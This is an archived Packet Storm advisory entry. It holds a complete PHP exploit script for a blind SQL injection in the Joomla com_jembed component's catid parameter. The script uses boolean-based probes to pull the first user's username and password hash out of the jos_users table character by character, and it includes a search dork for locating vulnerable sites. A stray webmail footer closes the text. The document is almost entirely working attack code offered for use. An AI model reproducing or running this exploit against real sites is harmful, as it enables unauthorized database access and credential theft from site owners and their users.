Joomla Jembed Blind SQL Injection

2010-01-06T00:00:00
ID PACKETSTORM:84837
Type packetstorm
Reporter Fl0riX
Modified 2010-01-06T00:00:00

Description

                                        
                                            `  
<?php  
ini_set("max_execution_time",0);  
print_r('  
  
\\\|///  
\\ - - //  
( @ @ )  
----oOOo--(_)-oOOo---------------------------  
@~~=Author : FL0RiX  
  
@~~=Greez : Dostumuz Yokki yazak  
  
@~~=Dork : inurl:"com_jembed"   
  
@~~=Bug : com_jembed (catid) Blind SQL Injection Exploit  
  
@~~=WARNING! : : php file.php "http://www.site.com/index.php?option=com_jembed&task=summary&catid=99"  
---------------Ooooo-------------------------  
( )  
ooooO ) /  
( ) (_/  
\ (  
\_)  
  
  
');  
if ($argc > 1) {  
$url = $argv[1];  
$r = strlen(file_get_contents($url."+and+1=1--"));  
echo "\nExploiting:\n";  
$w = strlen(file_get_contents($url."+and+1=0--"));  
$t = abs((100-($w/$r*100)));  
echo "Username: ";  
for ($i=1; $i <= 30; $i++) {  
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));  
if (abs((100-($laenge/$r*100))) > $t-1) {  
$count = $i;  
$i = 30;  
}  
}  
for ($j = 1; $j < $count; $j++) {  
for ($i = 46; $i <= 122; $i=$i+2) {  
if ($i == 60) {  
$i = 98;  
}  
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));  
if (abs((100-($laenge/$r*100))) > $t-1) {  
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));  
if (abs((100-($laenge/$r*100))) > $t-1) {  
echo chr($i-1);  
} else {  
echo chr($i);  
}  
$i = 122;  
}  
}  
}  
echo "\nPassword: ";  
for ($j = 1; $j <= 49; $j++) {  
for ($i = 46; $i <= 102; $i=$i+2) {  
if ($i == 60) {  
$i = 98;  
}  
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));  
if (abs((100-($laenge/$r*100))) > $t-1) {  
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));  
if (abs((100-($laenge/$r*100))) > $t-1) {  
echo chr($i-1);  
} else {  
echo chr($i);  
}  
$i = 102;  
}  
}  
}  
}   
?>   
_________________________________________________________________  
Windows Live: Arkadaþlarýnýz size e-posta gönderdiklerinde Flickr, Twitter ve Digg'deki hareketlerinizi görürler.  
http://www.microsoft.com/windows/windowslive/see-it-in-action/social-network-basics.aspx?ocid=PID23461::T:WLMTAGL:ON:WL:tr-tr:SI_SB_3:092010`